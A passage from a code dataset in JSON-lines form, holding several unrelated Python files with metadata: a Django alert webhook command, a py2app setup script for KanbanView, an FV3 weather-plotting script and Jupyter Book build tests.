\"报错: \" + e[0]\n str_actual = \"实值: \" + e[1]\n str_time = \"时间: \" + e[2]\n length = (len(str_time) + 5) * '-'\n msg += str_info + \"\\n\" + str_actual + \"\\n\" + str_time + \"\\n\" + length + \"\\n\" \n\n header = {\n \"Content-Type\": \"application/json\",\n \"Charset\": \"UTF-8\"\n }\n \n message = {\n \"msgtype\": \"text\",\n \"text\": {\n \"content\": msg\n },\n \"at\": {\n \"isAtAll\": True\n }\n }\n \n message_json = json.dumps(message)\n info = requests.post(url=web_url, data=message_json, headers=header)\n\n return info", "sub_path": "item/dev/cmdb/asset/management/commands/monitor.py", "file_name": "monitor.py", "file_ext": "py", "file_size_in_byte": 1987, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.core.management.BaseCommand", "line_number": 13, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 21, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 21, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 22, "usage_type": "call"}, {"api_name": "asset.models.Monitor_Resource.objects.values", "line_number": 23, "usage_type": "call"}, {"api_name": "asset.models.Monitor_Resource.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "asset.models.Monitor_Resource", "line_number": 23, "usage_type": "name"}, {"api_name": "asset.error_info.get_error_info", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 66, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "16458235", "text": "\"\"\"\npy2app configuration file.\n\"\"\"\n\nfrom setuptools import setup, find_packages # type: ignore\n\nAPP = ['bin/things-app']\nAPP_NAME = \"KanbanView\"\nAUTHOR = \"Alexander Willner\"\nAUTHOR_MAIL = \"alex@willner.ws\"\nDESCRIPTON = \"A simple read-only CLI, API and Web Service for Things 3\"\nURL = \"https://github.com/alexanderwillner/kanbanview\"\nVERSION = \"2.1.2\"\nDATA_FILES = [('resources', [\"resources/logo.png\"]),\n ('resources', [\"resources/kanban.js\"]),\n ('resources', [\"resources/kanban.css\"]),\n ('resources', [\"resources/kanban.html\"]),\n ('resources', [\"resources/favicon.ico\"])\n ]\nOPTIONS = {\n 'argv_emulation': True,\n 'iconfile': 'resources/icon.icns',\n 'plist': {'CFBundleName': APP_NAME,\n 'CFBundleDisplayName': APP_NAME,\n 'CFBundleGetInfoString': APP_NAME,\n 'CFBundleIdentifier': \"ws.willner.kanbanview\",\n 'CFBundleVersion': VERSION,\n 'CFBundleShortVersionString': VERSION,\n 'NSHumanReadableCopyright': 'Copyright 2020 ' + AUTHOR},\n 'optimize': '2'\n}\n\nwith open(\"README.md\", \"r\") as fh:\n LONG_DESRIPTION = fh.read()\n\nsetup(\n app=APP,\n author=AUTHOR,\n author_email=AUTHOR_MAIL,\n name=\"things3-api\",\n description=DESCRIPTON,\n long_description=LONG_DESRIPTION,\n long_description_content_type=\"text/markdown\",\n url=URL,\n packages=find_packages(),\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Environment :: Console\",\n \"Framework :: Flask\",\n \"Natural Language :: English\"\n ],\n python_requires='>=3.6',\n version=VERSION,\n data_files=DATA_FILES,\n options={'py2app': OPTIONS},\n setup_requires=['py2app'],\n entry_points={\n 'console_scripts': [\n 'things-cli = things3.things3_cli:main',\n 'things-api = things3.things3_api:main',\n 'things-kanban = things3.things3_app:main'\n ]\n }\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2121, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "setuptools.setup", "line_number": 36, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 45, "usage_type": "call"}]} +{"seq_id": "528732984", "text": "from timeit import default_timer as timer\ntic=timer()\nimport sys,os\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap, cm, maskoceans\nfrom mpl_toolkits.axes_grid1.inset_locator import zoomed_inset_axes, mark_inset\nimport multiprocessing\nimport numpy as np\nfrom netCDF4 import Dataset\nimport colormap\nfrom netcdftime import utime\nfrom datetime import datetime,timedelta\nimport scipy\nimport ncepy\n#Necessary to generate figs when not running an Xserver (e.g. via PBS)\nplt.switch_backend('agg')\nimport pdb\n\n###################### USER DEFINED SETTINGS ############################################\nCDUMP='gdas' #gdas or gfs\n\nglobal pdy,cyc,valpdy,valcyc,valtime,fhr\n\ntry:\n filename=str(sys.argv[1])\n datadir=str(sys.argv[2])\n pdy=str(int(sys.argv[3]))\n cyc=str(int(sys.argv[4])).zfill(2)\n valpdy=str(int(sys.argv[5]))\n valcyc=str(int(sys.argv[6])).zfill(2)\n valtime=str(int(sys.argv[7]))\n fhr=str(int(sys.argv[8])).zfill(3)\nexcept:\n exit()\n\noutputdir=datadir \nprint(filename,pdy,cyc,valpdy,valcyc,valtime)\ndata_in = os.path.join(datadir,filename) # name of analysis file\ndom=\"CONUS\" # domain (can be CONUS, SC, etc.)\nproj=\"gnom\" # map projection\n#proj=\"cyl\"\nvarnames=[ # uncomment the desired variables below\n# 'ugrd', \\\n# 'vgrd', \\\n# 'dzdt', \\\n 'delz', \\\n# 'tmp', \\\n# 'dpres', \\\n# 'spfh', \\\n# 'clwmr', \\\n# 'rwmr', \\\n# 'icmr', \\\n# 'snmr', \\\n# 'grle', \\\n# 'o3mr', \\\n# 'cld_amt',\\\n# 'pressfc',\\\n# 'hgtsfc', \\\n# 'dbz', #\\\n ]\n###################### USER DEFINED SETTINGS ############################################\n\n# Create the basemap\n# create figure and axes instances\nfig = plt.figure(figsize=(8,8))\nax = plt.subplot(111)\n\n# Setup map corners for plotting. This will give us CONUS\nllcrnrlon,llcrnrlat,urcrnrlon,urcrnrlat,res=ncepy.corners_res(dom,proj=proj)\nif(proj==\"cyl\"):\n llcrnrlon,llcrnrlat,urcrnrlon,urcrnrlat,res=-180,-80,180,80,'c'\n# llcrnrlon,llcrnrlat,urcrnrlon,urcrnrlat,res=-80,30,-70,40,'h'\n #llcrnrlon,llcrnrlat,urcrnrlon,urcrnrlat,res=-30,40,30,70,'l'\nlon_0=-95.0\nlat_0=25.0\noffsetup=0.\noffsetright=0.\nm = Basemap(llcrnrlon=llcrnrlon+offsetright, llcrnrlat=llcrnrlat+offsetup,\n urcrnrlon=urcrnrlon+offsetright, urcrnrlat=urcrnrlat+offsetup,\n projection=proj, lat_0=lat_0,lon_0=lon_0,\n resolution=res,ax=ax)\n\n# Map background stuff to make things look nice\nparallels = np.arange(-80.,80,10.)\nmeridians = np.arange(-180,180.,10.)\nm.drawcoastlines(linewidth=1.25)\nm.drawcountries(linewidth=1.25)\n\ndef mkplot(varname):\n print(\"mkplot - \"+str(multiprocessing.current_process()))\n print(data_in)\n fnd = Dataset(data_in,mode='r')\n varnames2d=fnd.variables.keys()\n print(varnames2d)\n global lons,lats\n lons = fnd.variables['lon'][:]\n lats = fnd.variables['lat'][:]\n lons=lons-180\n nlon=len(lons)\n keep_ax_lst = ax.get_children()[:]\n # Transform lats and lons to map proj coords\n lon,lat=np.meshgrid(lons,lats)\n xi,yi = m(lon,lat)\n dispatcher=plot_Dictionary()\n global model_level\n model_level='column max'\n model_level=40\n if(model_level == 'column max'):\n var_n=fnd.variables[str(varname)+'midlayer'][0,:,:,:]\n var_n=var_n.max(axis=0) #take max across axis 0, in this case, max at each point across the column.\n else:\n var_n=fnd.variables[str(varname)+'midlayer'][0,64-model_level,:,:] \n var_n=np.roll(var_n,nlon/2,axis=1)\n print(np.max(var_n))\n try: # Doing it this way means we only have to supply a corresponding definition for cm,clevs,etc.\n function=dispatcher[varname]\n var_n,clevs,cticks,cm,units,longname,title=function(var_n)\n except KeyError:\n raise ValueError(\"invalid varname:\"+varname)\n\n m.contour(xi,yi,var_n,color='k')\n\n #cs = m.contourf(xi,yi,var_n,clevs,cmap=cm,extend='both')\n #cbar = m.colorbar(cs,location='bottom',pad=\"5%\",extend=\"both\",ticks=cticks)\n #cbar.ax.tick_params(labelsize=8.5)\n #cbar.set_label(varname+\": \"+longname+\" [\"+str(units)+\"]\")\n plt.title(title)\n\n plt.xticks(visible=False)\n plt.yticks(visible=False)\n plt.savefig(outputdir+'/gfs.t%sz.%s_v%s_atmf%s_%s.png' % (cyc,pdy+cyc,valtime,fhr,varname),dpi=250, bbox_inches='tight')\n\n print(\"fig is located: \"+outputdir)\n\n plt.close('all')\n\n\n############### useful functions ###########################################\ndef roundTime(dt=None, roundTo=60):\n \"\"\"Round a datetime object to any time laps in seconds\n dt : datetime.datetime object, default now.\n roundTo : Closest number of seconds to round to, default 1 minute.\n Author: Thierry Husson 2012 - Use it as you want but don't blame me.\n \"\"\"\n if dt == None : dt = datetime.datetime.now()\n seconds = (dt.replace(tzinfo=None) - dt.min).seconds\n rounding = (seconds+roundTo/2) // roundTo * roundTo\n return dt + timedelta(0,rounding-seconds,-dt.microsecond)\n\ndef gemplot(clist):\n gemlist=ncepy.gem_color_list()\n colors=[gemlist[i] for i in clist]\n cm = matplotlib.colors.ListedColormap(colors)\n return cm\n\n############### plot_ functions ###########################################\n#/gpfs/hps3/emc/meso/save/Donald.E.Lippi/fv3gfs-20181022/sorc/fv3gfs.fd/FV3/atmos_cubed_sphere/driver/fvGFS/fv_nggps_diag.F90\n\n#\"gfs_dyn\", \"ucomp\", \"ugrd\", zonal wind (m/sec) \n#\"gfs_dyn\", \"vcomp\", \"vgrd\", meridional wind (m/sec)\n#\"gfs_dyn\", \"sphum\", \"spfh\", \n#\"gfs_dyn\", \"temp\", \"tmp\", temperature (K)\n#\"gfs_dyn\", \"liq_wat\", \"clwmr\", \n#\"gfs_dyn\", \"ice_wat\", \"icmr\", \n#\"gfs_dyn\", \"snowwat\", \"snmr\", \n#\"gfs_dyn\", \"rainwat\", \"rwmr\", \n#\"gfs_dyn\", \"graupel\", \"grle\", \n##\"gfs_dyn\", \"ice_nc\", \"nccice\", \n##\"gfs_dyn\", \"rain_nc\", \"nconrd\", \n#\"gfs_dyn\", \"o3mr\", \"o3mr\", \n#\"gfs_dyn\", \"cld_amt\", \"cld_amt\",\n#\"gfs_dyn\", \"delp\", \"dpres\", pressure thickness (pa)\n#\"gfs_dyn\", \"delz\", \"delz\", height thickness (m)\n##\"gfs_dyn\", \"pfhy\", \"preshy\", hydrostatic pressure (pa)\n##\"gfs_dyn\", \"pfnh\", \"presnh\", non-hydrostatic pressure (pa)\n#\"gfs_dyn\", \"w\", \"dzdt\", vertical wind (m/sec)\n#\"gfs_dyn\", \"ps\", \"pressfc\", surface pressure (pa)\n#\"gfs_dyn\", \"hs\", \"hgtsfc\", surface geopotential height (gpm)\n#\"gfs_dyn\", \"reflectivity\",\"dbz\", Stoelinga simulated reflectivity (dBz)\n\n\n\ndef plot_delz(var_n):\n \"\"\"height thickness [m]\"\"\"\n longname=\"height thickness\"; units=\"dam\"\n var_n=var_n/10. # convert to decameters\n clevs=np.arange(500,600,5).tolist() \n cticks=clevs\n cm='k'\n title=\"NATURE height thickness \\n Valid %s %sZ\" % (valpdy,valcyc)\n return(var_n,clevs,cticks,cm,units,longname,title)\n\n\ndef plot_dbz(var_n): \n \"\"\"reflectivity [dBz]\"\"\"\n longname=\"reflectivity\"; units=\"dBZ\"\n clevs=[-5,0,5,10,15,20,25,30,35,40,45,50,55,60,65,70,75] # dbz \n cticks=[-5,0,5,10,15,20,25,30,35,40,45,50,55,60,65,70,75] # dbz \n #cm=ncepy.radarmap()\n cm=mrms_radarmap_with_gray()\n if(model_level=='column max'):\n title=\"NATURE Composite Simulated Reflectivity \\n Valid %s %sZ\" % (valpdy,valcyc)\n return(var_n,clevs,cticks,cm,units,longname,title)\n\n############### Dictionary for plot_function calls ###################################\ndef plot_Dictionary():\n #As fields are added to fv3 output just put those in the following dictionary\n # according to the syntax used. Then all you have to do is create a function\n # that defines the clevs, cm, and var_n if it requires unit conversion \n # (e.g., plot_PRATEsfc(var_n) )\n \"\"\"The purpose of this dictionary is so that for each variable name (e.g., \"ALBDOsfc\") \n the corresponding function is called (e.g., plot_ALBDOsfc(var_n)) to provide the \n appropriate variable specific name, units, clevs, clist, and colormap for plotting.\n \"\"\"\n dispatcher={ \n# 'ugrd':plot_ugrd,\n# 'vgrd':plot_vgrd,\n# 'dzdt':plot_dzdt,\n 'delz':plot_delz,\n# 'tmp':plot_tmp,\n# 'dpres':plot_dpres,\n# 'spfh':plot_spfh,\n# 'clwmr':plot_clwmr,\n# 'rwmr':plot_rwmr,\n# 'icmr':plot_icmr,\n# 'snmr':plot_snmr,\n# 'grle':plot_grle,\n# 'o3mr':plot_o3mr,\n# 'cld_amt':plot_cld_amt,\n# 'pressfc':plot_pressfc,\n# 'hgtsfc':plot_hgtsfc,\n 'dbz':plot_dbz,\n }\n return dispatcher \n\ndef mrms_radarmap_with_gray():\n from matplotlib import colors\n r=[0.66,0.41,0.00,0.00,0.00,0.00,0.00,0.00,1.00,0.91,1.00,1.00,0.80,0.60,1.00,0.60]\n g=[0.66,0.41,0.93,0.63,0.00,1.00,0.78,0.56,1.00,0.75,0.56,0.00,0.20,0.00,0.00,0.20]\n b=[0.66,0.41,0.93,0.96,0.96,0.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,1.00,0.80]\n rgb=zip(r,g,b)\n cmap=colors.ListedColormap(rgb,len(r))\n cmap.set_over(color='white')\n cmap.set_under(color='white')\n return cmap\n\n\n#def Make_Zoomed_Inset_Plot():\n\nif __name__ == '__main__':\n #pool=multiprocessing.Pool(len(varnames)) # one processor per variable\n #pool=multiprocessing.Pool(8) # 8 processors for all variables. Just a little slower.\n #pool.map(mkplot,varnames) \n mkplot(varnames[0])\n toc=timer()\n time=toc-tic\n hrs=int(time/3600)\n mins=int(time%3600/60)\n secs=int(time%3600%60)\n print(\"Total elapsed time: \"+str(toc-tic)+\" seconds.\")\n print(\"Total elapsed time: \"+str(hrs).zfill(2)+\":\"+str(mins).zfill(2)+\":\"+str(secs).zfill(2))\n\n\n\n\n\n", "sub_path": "threaded_fv3_2d_NATURE.py", "file_name": "threaded_fv3_2d_NATURE.py", "file_ext": "py", "file_size_in_byte": 9830, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "timeit.default_timer", "line_number": 2, "usage_type": "call"}, {"api_name": "matplotlib.use", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.switch_backend", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "ncepy.corners_res", "line_number": 71, "usage_type": "call"}, {"api_name": "mpl_toolkits.basemap.Basemap", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 87, "usage_type": "call"}, {"api_name": "multiprocessing.current_process", "line_number": 92, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 116, "usage_type": "call"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "datetime.datetime.datetime.now", "line_number": 147, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 147, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 147, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 150, "usage_type": "call"}, {"api_name": "ncepy.gem_color_list", "line_number": 153, "usage_type": "call"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 155, "usage_type": "attribute"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 189, "usage_type": "call"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 191, "usage_type": "name"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 193, "usage_type": "name"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 202, "usage_type": "name"}, {"api_name": "mpl_toolkits.basemap.cm", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 244, "usage_type": "name"}, {"api_name": "timeit.default_timer", "line_number": 257, "usage_type": "call"}]} +{"seq_id": "250095231", "text": "from pathlib import Path\nfrom subprocess import run, PIPE\nimport pytest\nfrom bs4 import BeautifulSoup as bs\n\n\npath_tests = Path(__file__).parent.resolve()\npath_books = path_tests.joinpath(\"books\")\npath_root = path_tests.parent\n\n\ndef test_build_book(tmpdir):\n \"\"\"Test building the book template and a few test configs.\"\"\"\n # Create the book from the template\n path = Path(tmpdir).joinpath(\"mybook\").absolute()\n run(f\"jb create {path}\".split())\n\n # Ensure the book is created properly\n assert path.joinpath(\"_config.yml\").exists()\n\n # Build the book\n run(f\"jb build {path}\".split(), check=True)\n path_html = path.joinpath(\"_build\", \"html\")\n assert path_html.joinpath(\"index.html\").exists()\n assert path_html.joinpath(\"intro.html\").exists()\n\n # Test custom config values\n path_config = path_books.joinpath(\"config\")\n run(f\"jb build {path_config}\".split(), check=True)\n html = path_config.joinpath(\"_build\", \"html\", \"index.html\").read_text(\n encoding=\"utf8\"\n )\n assert '

TEST PROJECT NAME

' in html\n assert '
' in html\n assert '' in html\n assert '' in html\n\n\ndef test_toc_builds(tmpdir):\n \"\"\"Test building the book template with several different TOC files.\"\"\"\n path_output = Path(tmpdir).joinpath(\"mybook\").absolute()\n\n ###############################\n # TOC Builds\n\n # Regular TOC should work\n p_toc = path_books.joinpath(\"toc\")\n path_toc = p_toc.joinpath(\"_toc.yml\")\n out = run(f\"jb build {p_toc} --path-output {tmpdir} --toc {path_toc} -W\".split())\n\n # TOC with a single-item list should work\n p_toc = path_books.joinpath(\"toc\")\n path_toc = p_toc.joinpath(\"_toc_startwithlist.yml\")\n out = run(f\"jb build {p_toc} --path-output {tmpdir} --toc {path_toc} -W\".split())\n\n # TOC should force a re-build of pages if it changes and no pages change\n # Only difference between these is the relative ordering of content pages\n toc_tmp = [\n (\"- file: index\\n- file: content1\\n- file: content2\\n\", \"content1.html\"),\n (\"- file: index\\n- file: content2\\n- file: content1\\n\", \"content2.html\"),\n ]\n for toc_tmp_text, first_page in toc_tmp:\n path_toctmp = Path(tmpdir).joinpath(\"_toc_tmp.yml\")\n path_toctmp.write_text(toc_tmp_text)\n # Not using -W because we expect warnings for pages not listed in TOC\n out = run(\n f\"jb build {p_toc} --path-output {tmpdir} --toc {path_toctmp}\".split()\n )\n path_index = Path(tmpdir).joinpath(\"_build\", \"html\", \"index.html\")\n index_html = bs(path_index.read_text(), \"html.parser\")\n sidebar_links = index_html.select(\".bd-sidebar a.internal\")\n # The first page should be different in each run bc of switched TOC order\n assert sidebar_links[1].attrs[\"href\"] == first_page\n\n ###############################\n # TOC errors\n p_toc = path_books.joinpath(\"toc\")\n\n with pytest.raises(ValueError):\n path_toc = p_toc.joinpath(\"_toc_startswithheader.yml\")\n out = run(\n f\"jb build {p_toc} --path-output {path_output} --toc {path_toc} -W\".split(),\n stderr=PIPE,\n )\n err = out.stderr.decode()\n if \"There was an error in building your book.\" in err:\n raise ValueError(err)\n assert \"Table of Contents must start with your first page\" in err\n\n with pytest.raises(ValueError):\n path_toc = p_toc.joinpath(\"_toc_url.yml\")\n out = run(\n f\"jb build {p_toc} --path-output {path_output} --toc {path_toc} -W\".split(),\n stderr=PIPE,\n )\n err = out.stderr.decode()\n if \"Warning, treated as error:\" in err:\n raise ValueError(err)\n assert \"Rename `url:` to `file:`\" in err\n\n with pytest.raises(ValueError):\n path_toc = p_toc.joinpath(\"_toc_urlwithouttitle.yml\")\n out = run(\n f\"jb build {p_toc} --path-output {path_output} --toc {path_toc} -W\".split(),\n stderr=PIPE,\n )\n err = out.stderr.decode()\n if \"Warning, treated as error:\" in err:\n raise ValueError(err)\n assert \"`url:` link should\" in err\n\n with pytest.raises(ValueError):\n path_toc = p_toc.joinpath(\"_toc_wrongkey.yml\")\n out = run(\n f\"jb build {p_toc} --path-output {path_output} --toc {path_toc} -W\".split(),\n stderr=PIPE,\n )\n err = out.stderr.decode()\n if \"Warning, treated as error:\" in err:\n raise ValueError(err)\n assert \"Unknown key in `_toc.yml`: foo\" in err\n\n\ndef test_build_errors(tmpdir):\n # Create the book from the template\n path = Path(tmpdir).joinpath(\"mybook\").absolute()\n run(f\"jb create {path}\".split())\n\n # === Expected errors ===\n # Create pre-existing folder\n with pytest.raises(ValueError):\n out = run(f\"jb create {path}\".split(), stderr=PIPE)\n err = out.stderr.decode()\n if \"ValueError\" in err:\n raise ValueError(err)\n assert \"The output book already exists\" in err\n\n # Non-existent folder\n with pytest.raises(ValueError):\n out = run(\"jb build doesnt/exist\".split(), stderr=PIPE)\n err = out.stderr.decode()\n if \"ValueError\" in err:\n raise ValueError(err)\n assert \"Path to book isn't a directory\" in err\n\n # Incorrect build\n with pytest.raises(ValueError):\n out = run(f\"jb build {path} --builder blah\".split(), stderr=PIPE)\n err = out.stderr.decode()\n if \"ValueError\" in err:\n raise ValueError(err)\n assert \"Value for --builder must be one of\" in err\n\n # No table of contents message\n p_notoc = path_books.joinpath(\"notoc\")\n with pytest.raises(ValueError):\n out = run(f\"jb build {p_notoc}\".split(), stderr=PIPE)\n err = out.stderr.decode()\n if \"ValueError\" in err:\n raise ValueError(err)\n assert \"Couldn't find a Table of Contents file\" in err\n\n # Test error on warnings and book error message\n p_syntax = path_books.joinpath(\"sphinx_syntaxerr\")\n with pytest.raises(ValueError):\n out = run(f\"jb build {p_syntax} --path-output {path} -W\".split(), stderr=PIPE)\n err = out.stderr.decode()\n if \"Warning, treated as error:\" in err:\n raise ValueError(err)\n assert \"There was an error in building your book\" in err\n\n\ndef test_build_docs(tmpdir):\n \"\"\"Test building the documentation book.\"\"\"\n path_output = Path(tmpdir).absolute()\n path_docs = path_root.joinpath(\"docs\")\n run(f\"jb build {path_docs} --path-output {path_output}\".split(), check=True)\n path_html = path_output.joinpath(\"_build\", \"html\")\n assert path_html.joinpath(\"index.html\").exists()\n assert path_html.joinpath(\"intro.html\").exists()\n assert path_html.joinpath(\"content\", \"citations.html\").exists()\n\n\ndef test_build_page(tmpdir):\n \"\"\"Test building the documentation book.\"\"\"\n path_output = Path(tmpdir).absolute()\n path_page = path_tests.joinpath(\"pages\", \"single_page.ipynb\")\n\n run(f\"jb page {path_page} --path-output {path_output}\".split(), check=True)\n path_html = path_output.joinpath(\"_build\", \"html\")\n assert path_html.joinpath(\"single_page.html\").exists()\n # The extra page shouldn't have been built with Sphinx (or run)\n assert not path_html.joinpath(\"extra_page.html\").exists()\n # An index file should be created\n path_index = path_html.joinpath(\"index.html\")\n assert path_index.exists()\n assert 'url=single_page.html\" />' in path_index.read_text()\n\n\nclass TestPageExecute:\n\n basename = \"nb_test_page_execute\"\n cell_out_div = r'
'\n path_page = path_tests.joinpath(\"pages\", f\"{basename}.ipynb\")\n\n def _run(self, tmpdir, flags=\"\"):\n path_output = Path(tmpdir).absolute()\n out_html = path_output.joinpath(\"_build\", \"html\", f\"{self.basename}.html\")\n run(\n f\"jb page {self.path_page} --path-output {path_output} {flags}\".split(),\n check=True,\n )\n with open(out_html, \"r\") as fh:\n self.html = fh.read()\n\n @property\n def has_cell_output(self):\n return self.cell_out_div in self.html\n\n @pytest.mark.parametrize(\n (\"flag\", \"expected\"),\n ((\"\", True), (\"--execute\", True), (\"--no-execute\", False),),\n )\n def test_build_page_execute_flags(self, tmpdir, flag, expected):\n self._run(tmpdir, flags=flag)\n assert self.has_cell_output == expected\n", "sub_path": "tests/test_build.py", "file_name": "test_build.py", "file_ext": "py", "file_size_in_byte": 8625, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pathlib.Path", "line_number": 7, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 16, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 29, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 41, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 49, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 54, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 66, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 69, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 79, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 81, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 83, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 90, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 92, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 94, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 101, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 103, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 105, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 112, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 114, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 116, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 126, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 127, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 131, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 132, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 132, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 139, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 140, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 140, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 147, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 148, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 148, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 156, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 157, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 157, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 165, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 166, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 166, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 175, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 177, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 186, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 189, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 207, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 209, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 220, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 220, "usage_type": "attribute"}]} +{"seq_id": "342720811", "text": "import json\r\n\r\ndef what_are_your_symptoms(patient_symptoms):\r\n\tprint(patient_symptoms)\r\n\t\"\"\"patient_symptoms=[\r\n \"pain chest\",\r\n \"shortness of breath\",\r\n 